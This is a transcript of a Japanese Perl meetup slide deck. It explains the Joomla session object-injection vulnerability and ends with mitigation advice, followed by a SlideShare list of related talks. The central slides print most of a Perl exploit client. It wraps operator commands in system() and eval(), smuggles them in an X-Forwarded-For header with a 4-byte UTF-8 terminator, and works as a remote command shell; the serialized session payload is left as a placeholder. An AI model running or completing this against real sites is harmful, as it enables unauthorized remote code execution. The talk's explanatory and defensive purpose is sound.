SlideShare a Scribd company logo
CMSとPerlで遊ぼう
2016/1/15 吉祥寺.pm#6
@mahoyaya
@mahoyaya
• Name: mahoyaya
• Work: NWインフラ(?)
• Favorite: DIY
• Twitter: @mahoyaya
• blog: http://mahoyaya.hateblo.jp
• GitHub: https://github.com/mahoyaya
Hardeningで日経デビューしました
みなさんご存知ですか
?
• <<< JPCERT/CC WEEKLY REPORT 2015-12-24 >>>
• 【1】ISC BIND 9 にサービス運用妨害 (DoS) の脆弱性
• 【2】Joomla! に複数の脆弱性
• 【3】Firefox に複数の脆弱性
• 【4】Ruby の標準添付ライブラリに脆弱性
• 【5】Symantec Endpoint Encryption に情報漏えいの脆弱性
• 【6】ScreenOS に複数の脆弱性
• 【7】WordPress 用プラグイン Welcart に SQL インジェクションの脆弱性
• 【8】WinRAR の実行ファイル読込みに脆弱性
• 【9】Ipswitch WhatsUp Gold に複数の脆弱性
Joomlaに深刻な脆弱性、パッ
チ公開2日前から攻撃横行
どんな内容?
• JoomlaはUser-AgentやX-Forwarded-Forなんかのセッション情報をDB
に保存する
• MySQLはUTF-8の4Byte文字列があると、それ以降の文字を切り詰め
る仕様
• セッション情報がMySQLで切り詰められた結果、PHPの
session_encode形式のデータがsession_decodeされた時に文字列の情
報がオブジェクトに化ける
• ディストラクタされるオブジェクトをインジェクションした後に再度同
じセッションにアクセスすると、そのオブジェクトが生成されて・・・
徳丸先生のページ:http://goo.gl/dgPwO0
というわけで、
JoomlaにPerlでObject
injectionしてみた
while(1) {
my $response_header = "";
#========================#
# get command #
#========================#
my $cmd_str = getCmd();
last if $cmd_str =~ m/Aquitz/;
$cmd_str =~ s/^(.+)$/system(’$1');/;
info($cmd_str);
#=========================#
# connect to remote host #
#=========================#
for(my $i = 0; $i < 3; $i++){
# generate payload string
my $request_str = generate_payload($cmd_str, @ary_cookies);
#info($request_str);
info("connect to $host:$port");
info("[send data] " . $request_str);
my $sock;
socket($sock, PF_INET, SOCK_STREAM, 0) or die "can't open socketn";
connect($sock, $sock_addr) or die "can't connect remote hostn";
# no buffered sock $sock
select($sock); $|=1; select(STDOUT);
ssend($sock, $request_str);
#=====================#
# get http response #
#=====================#
# print headers
$response_header = "";
while (<$sock>){
print $_;
$response_header .= $_;
last if m/^rn$/;
}
# print body
$|=1;
while (<$sock>){
if( $print > 0){
print $_;
}
}
#====================================#
# get cookie and print status code #
#====================================#
for my $line (split("rn", $response_header)){
if($line =~ m/ASet-Cookie: /){
$line =~ s/ASet-//;
my @ary = split(";", $line);
push(@ary_cookies, $ary[0]);
info("<" . $ary[0] . ">");
} elsif($line =~ m|AHTTP/1.1 |){
my $status = $line;
$status =~ s|AHTTP/1.1 ([0-9]{3}) .+z|$1|;
info("<Response: " . $status . ">");
}
}
close($sock) if defined $sock;
print "================================n";
} # end for loop
} # end while
sub php_str_noquotes {
my $data = shift;
my $encoded = "";
for(split("", $data)){
$encoded .= 'chr(' . unpack("C", $_) . ').';
}
return substr($encoded, 0, length($encoded) - 1);
}
sub generate_payload {
my $php_payload = shift;
my $aref_cookies = shift;
my $request_str = "";
$php_payload = 'eval(' . php_str_noquotes($php_payload) . ')';
my $terminate = "xf0xfdxfdxfd";
my $exploit_template = <シリアライズしたセッションデータ+$php_payload>
$exploit_template .= $terminate; #utf8 4byte char
# set headers
my $ua = 'User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3';
my $xff = 'x-forwarded-for: ' . $exploit_template;
$request_str = append($request_str, "GET " . $request_url . " HTTP/1.1");
$request_str = append($request_str, "Host: " . $host . ":" . $port);
$request_str = append($request_str, "Accept-Encoding: gzip, deflate");
$request_str = append($request_str, $xff);
$request_str = append($request_str, "Accept: */*");
$request_str = append($request_str, $ua);
$request_str = append($request_str, "Connection: close");
$request_str = appendAll($request_str, $aref_cookies);
$request_str = append($request_str, "");
return $request_str;
}
DEMO
なんでも出来て楽しい
!
それPerl6でできるよ
はじめて2日、Perl6はなかな
か良いが・・・
• バージョン違いもあるが、手元のWinとMacで動作が全く異なる部分がある
’split(“”,:skip-empty)’とか
• 文字出力でsegmentation fault 11
文字列連結でmalformed utf-8
socketからのデータ受信でmalformed utf-8
わけわからんよ・・・
• はじめたばかりでルールがとっつきにくい(ちゃんと覚えれば超便利だと思
う
• コンストラクタの引数設定がいまいちよくわからん。
submodule BUILDで逃げられるが引数が必須になる。
DEMO 2
脆弱性のあるJoomla(?)でObject
injectionされないために
• Joomlaが悪い感じになってるけど、Joomlaの脆弱性というより、PHPのセッションデシリ
アライザとMySQLの仕様の問題
• 最新のPHPでは修正されている
PHP-5.4.45
PHP-5.5.29
PHP-5.6.13
PHP-7.0.0
• アプリケーション側で対応したバージョンを導入する(例:Joomla! 3.4.6)
• MySQL 5.5.3 以降で使える utf8mb4 エンコーディングを使用する
• セッションストレージとしてMySQLを避ける。(MariaDBでは起きない)
• バリデーションによりUTF-8の4バイト形式をエラーにする
<F0..F7> <[80..BF]>*3
徳丸先生のページ:http://goo.gl/dgPwO0
おわり

More Related Content

What's hot (20)

PDF
omoon.org の裏側 〜FuelPHP の task 活用例〜
Sotaro Omura
 
PDF
Norikraで作るPHPの例外検知システム YAPC::Asia Tokyo 2015 LT
Masahiro Nagano
 
PPTX
PHP AST 徹底解説(補遺)
do_aki
 
PPTX
php7's ast
do_aki
 
PDF
Ruby 2.5
Masahiro Tomita
 
KEY
モダンmod_perl入門 #yapcasia
鉄次 尾形
 
PDF
HHVM Hack
Masaaki Yonebayashi
 
PDF
最新PHP事情 (2000年7月22日,PHPカンファレンス)
Rui Hirokawa
 
PDF
15分でCakePHPを始める方法(Nseg 2013-11-09 )
hiro345
 
PDF
Zabbix API
Shuhei Hayashibara
 
KEY
あらためてPHP5.3
Masashi Shinbara
 
PDF
PHPの今とこれから 2013
Rui Hirokawa
 
PDF
Hack/HHVM 入門
y-uti
 
PDF
Spectacular Future with clojure.spec
Kent Ohashi
 
PDF
VarnishではじめるESI
Iwana Chan
 
PDF
PHP5.5新機能「ジェネレータ」初心者入門
kwatch
 
PPT
サーバー実装いろいろ
kjwtnb
 
PPT
PHP, Now and Then 2011
Rui Hirokawa
 
PDF
PHP Now and Then 2012 at PHP Conference 2012, Tokyo Japan (in japanese)
Rui Hirokawa
 
PPTX
PHP と SAPI と ZendEngine3 と
do_aki
 
omoon.org の裏側 〜FuelPHP の task 活用例〜
Sotaro Omura
 
Norikraで作るPHPの例外検知システム YAPC::Asia Tokyo 2015 LT
Masahiro Nagano
 
PHP AST 徹底解説(補遺)
do_aki
 
php7's ast
do_aki
 
Ruby 2.5
Masahiro Tomita
 
モダンmod_perl入門 #yapcasia
鉄次 尾形
 
最新PHP事情 (2000年7月22日,PHPカンファレンス)
Rui Hirokawa
 
15分でCakePHPを始める方法(Nseg 2013-11-09 )
hiro345
 
Zabbix API
Shuhei Hayashibara
 
あらためてPHP5.3
Masashi Shinbara
 
PHPの今とこれから 2013
Rui Hirokawa
 
Hack/HHVM 入門
y-uti
 
Spectacular Future with clojure.spec
Kent Ohashi
 
VarnishではじめるESI
Iwana Chan
 
PHP5.5新機能「ジェネレータ」初心者入門
kwatch
 
サーバー実装いろいろ
kjwtnb
 
PHP, Now and Then 2011
Rui Hirokawa
 
PHP Now and Then 2012 at PHP Conference 2012, Tokyo Japan (in japanese)
Rui Hirokawa
 
PHP と SAPI と ZendEngine3 と
do_aki
 

Viewers also liked (17)

PDF
ぼんやりした大人が趣味でプログラミングを始めたら
Hiroaki KADOMATSU
 
PDF
ソフトウェアメトリクス概要 20160514
Yutaka Ohwada
 
PDF
ある工場のRedmine画面カスタム【View customize plugin 活用例】
Kohei Nakamura
 
PPTX
Redmineカスタムフィールド表示改善
Yuuki Nara
 
PDF
みんなでRedmineをより良くしよう −Redmineプロジェクトへの貢献の仕方−
Go Maeda
 
PPTX
Redmineでメトリクスを見える化する方法
Hidehisa Matsutani
 
PDF
Yapc8oji: セキュリティテストサービスを開発運営してきた2年
ichikaway
 
PPTX
PM Beginners #3:メンバの考えていること、共有できてます?
YASUKAZU NAGATOMI
 
PPTX
技術的負債だらけのチームで技術マネージメントしてみた Kichijoji.pm7[talk2]
YASUKAZU NAGATOMI
 
PDF
工数把握のすすめ 〜WorkTimeプラグインの使い方〜
Tomohisa Kusukawa
 
PDF
View customize pluginを使いこなす
onozaty
 
PDF
Redmine 300 310_new_feature
Jun Naitoh
 
PDF
『うわ、Redmineバージョンが上がった!へなちょこプラグイン開発者はどうするか?』
akiko_pusu
 
PDF
Redmine Ansible
ITO Yoshiichi
 
PDF
チケットの棚卸し ウチではこうしてます
靖宏 田中
 
PDF
Redmineによるwebサポート窓口の実装と運用
Go Maeda
 
PDF
Redmineチューニングの実際と限界(旧資料) - Redmine performance tuning(old), See Below.
Kuniharu(州晴) AKAHANE(赤羽根)
 
ぼんやりした大人が趣味でプログラミングを始めたら
Hiroaki KADOMATSU
 
ソフトウェアメトリクス概要 20160514
Yutaka Ohwada
 
ある工場のRedmine画面カスタム【View customize plugin 活用例】
Kohei Nakamura
 
Redmineカスタムフィールド表示改善
Yuuki Nara
 
みんなでRedmineをより良くしよう −Redmineプロジェクトへの貢献の仕方−
Go Maeda
 
Redmineでメトリクスを見える化する方法
Hidehisa Matsutani
 
Yapc8oji: セキュリティテストサービスを開発運営してきた2年
ichikaway
 
PM Beginners #3:メンバの考えていること、共有できてます?
YASUKAZU NAGATOMI
 
技術的負債だらけのチームで技術マネージメントしてみた Kichijoji.pm7[talk2]
YASUKAZU NAGATOMI
 
工数把握のすすめ 〜WorkTimeプラグインの使い方〜
Tomohisa Kusukawa
 
View customize pluginを使いこなす
onozaty
 
Redmine 300 310_new_feature
Jun Naitoh
 
『うわ、Redmineバージョンが上がった!へなちょこプラグイン開発者はどうするか?』
akiko_pusu
 
Redmine Ansible
ITO Yoshiichi
 
チケットの棚卸し ウチではこうしてます
靖宏 田中
 
Redmineによるwebサポート窓口の実装と運用
Go Maeda
 
Redmineチューニングの実際と限界(旧資料) - Redmine performance tuning(old), See Below.
Kuniharu(州晴) AKAHANE(赤羽根)
 
Ad

Similar to CMSとPerlで遊ぼう (20)

PDF
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
Hiroshi Tokumaru
 
PDF
日本 GNU AWK ユーザー会チラシ - OSC2012 Tokyo/Fall
博文 斉藤
 
PDF
mod_auth_ticket - Bringing Single-Sign-On to lighttpd
Taisuke Yamada
 
PDF
Kyotopm発表資料20130330
Kiyo Tsunezumi
 
PPT
関西オープンソース 2008 30days Albumの裏側
Gosuke Miyashita
 
PPTX
実用裏方 Perl 入門
keroyonn
 
PDF
PHPでセキュリティを真面目に考える
Takuya Sato
 
ODP
日常業務にperlを使おう
turugina
 
PDF
Niigata.pm #1
hayajo Imai
 
PDF
社内勉強会資料(Varnish Module)
Iwana Chan
 
PDF
PHP & Queue
sasezaki
 
PPTX
徳丸本に載っていないWebアプリケーションセキュリティ
Hiroshi Tokumaru
 
PPT
Scripting Layer for Android + Perl
Naoya Ito
 
PDF
Webサーバのチューニング
Yu Komiya
 
PDF
Linuxサーバのセキュリティ対策 part2 - Apache編
Kazunori Inaba
 
KEY
ゆるかわPhp
Ryota Mochizuki
 
PDF
Rails と Rack と HTTP と通信の話
Progate, Inc.
 
PDF
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2011
Hiroshi Tokumaru
 
PDF
エコなWebサーバー
emasaka
 
PPTX
MBSD Cybersecurity Challenges 2018
gomafu04
 
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
Hiroshi Tokumaru
 
日本 GNU AWK ユーザー会チラシ - OSC2012 Tokyo/Fall
博文 斉藤
 
mod_auth_ticket - Bringing Single-Sign-On to lighttpd
Taisuke Yamada
 
Kyotopm発表資料20130330
Kiyo Tsunezumi
 
関西オープンソース 2008 30days Albumの裏側
Gosuke Miyashita
 
実用裏方 Perl 入門
keroyonn
 
PHPでセキュリティを真面目に考える
Takuya Sato
 
日常業務にperlを使おう
turugina
 
Niigata.pm #1
hayajo Imai
 
社内勉強会資料(Varnish Module)
Iwana Chan
 
PHP & Queue
sasezaki
 
徳丸本に載っていないWebアプリケーションセキュリティ
Hiroshi Tokumaru
 
Scripting Layer for Android + Perl
Naoya Ito
 
Webサーバのチューニング
Yu Komiya
 
Linuxサーバのセキュリティ対策 part2 - Apache編
Kazunori Inaba
 
ゆるかわPhp
Ryota Mochizuki
 
Rails と Rack と HTTP と通信の話
Progate, Inc.
 
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2011
Hiroshi Tokumaru
 
エコなWebサーバー
emasaka
 
MBSD Cybersecurity Challenges 2018
gomafu04
 
Ad

Recently uploaded (13)

PDF
AIツールを使った研究の効率化 Improving Research Efficiency with AI Tools
Tohoku University
 
PDF
SIG-AUDIO 2025 Vol.02 オンラインセミナー 「GDC2025 オーディオ報告会」SIG-Audio_GDC2024_報告会資料_増野さ...
IGDA Japan SIG-Audio
 
PDF
安尾 萌, 松下 光範. 環境馴致を計量可能にするための試み,人工知能学会第4回仕掛学研究会, 2018.
Matsushita Laboratory
 
PPTX
オープンソース界隈の利用者や技術者から見たオープンソースEDAとは? What is open source EDA from the perspecti...
Industrial Technology Research Institute (ITRI)(工業技術研究院, 工研院)
 
PPTX
新卒・中途採用者向け採用ピッチ資料2025年7月版(20250702).pptx
Official74
 
PDF
安尾 萌, 森野 穣, 松下 光範. 災害情報収集におけるSNSのメディア特性に関する一検討, 人工知能学会第30回インタラクティブ情報アクセスと可視化マ...
Matsushita Laboratory
 
PDF
漁船に搭載されている電子装備と漁法について_VRC海洋学研究会_海のLT会発表資料
Yuuitirou528 default
 
PDF
SIG-AUDIO 2025 Vol.02 オンラインセミナー 「GDC2025 オーディオ報告会」SIG-Audio_GDC2025_報告会資料_渡辺さ...
IGDA Japan SIG-Audio
 
PDF
マルチAIエージェントの産業界での実践に向けたオープンソース活動の展望 - Japan Regional User Group (RUG) Meet-Up
Kosaku Kimura
 
PDF
第3回デジタル理学療法研究会学術大会シンポジウム「デジタル理学療法の組織活用:教育・管理・研究を繋ぐ新たな地平」の講演資料.
Matsushita Laboratory
 
PDF
第3回デジタル理学療法学会のシンポジウム「デジタル理学療法の組織活用:教育・管理・研究を繋ぐ新たな地平」での話題提供
Matsushita Laboratory
 
PDF
API認可を支えるKeycloakの基本と設計の考え方 ~ OAuth/OIDCによるAPI保護のベストプラクティス ~
Hitachi, Ltd. OSS Solution Center.
 
PDF
go tool と Minimal Version Selection アルゴリズム
Keisuke Ishigami
 
AIツールを使った研究の効率化 Improving Research Efficiency with AI Tools
Tohoku University
 
SIG-AUDIO 2025 Vol.02 オンラインセミナー 「GDC2025 オーディオ報告会」SIG-Audio_GDC2024_報告会資料_増野さ...
IGDA Japan SIG-Audio
 
安尾 萌, 松下 光範. 環境馴致を計量可能にするための試み,人工知能学会第4回仕掛学研究会, 2018.
Matsushita Laboratory
 
オープンソース界隈の利用者や技術者から見たオープンソースEDAとは? What is open source EDA from the perspecti...
Industrial Technology Research Institute (ITRI)(工業技術研究院, 工研院)
 
新卒・中途採用者向け採用ピッチ資料2025年7月版(20250702).pptx
Official74
 
安尾 萌, 森野 穣, 松下 光範. 災害情報収集におけるSNSのメディア特性に関する一検討, 人工知能学会第30回インタラクティブ情報アクセスと可視化マ...
Matsushita Laboratory
 
漁船に搭載されている電子装備と漁法について_VRC海洋学研究会_海のLT会発表資料
Yuuitirou528 default
 
SIG-AUDIO 2025 Vol.02 オンラインセミナー 「GDC2025 オーディオ報告会」SIG-Audio_GDC2025_報告会資料_渡辺さ...
IGDA Japan SIG-Audio
 
マルチAIエージェントの産業界での実践に向けたオープンソース活動の展望 - Japan Regional User Group (RUG) Meet-Up
Kosaku Kimura
 
第3回デジタル理学療法研究会学術大会シンポジウム「デジタル理学療法の組織活用:教育・管理・研究を繋ぐ新たな地平」の講演資料.
Matsushita Laboratory
 
第3回デジタル理学療法学会のシンポジウム「デジタル理学療法の組織活用:教育・管理・研究を繋ぐ新たな地平」での話題提供
Matsushita Laboratory
 
API認可を支えるKeycloakの基本と設計の考え方 ~ OAuth/OIDCによるAPI保護のベストプラクティス ~
Hitachi, Ltd. OSS Solution Center.
 
go tool と Minimal Version Selection アルゴリズム
Keisuke Ishigami
 

CMSとPerlで遊ぼう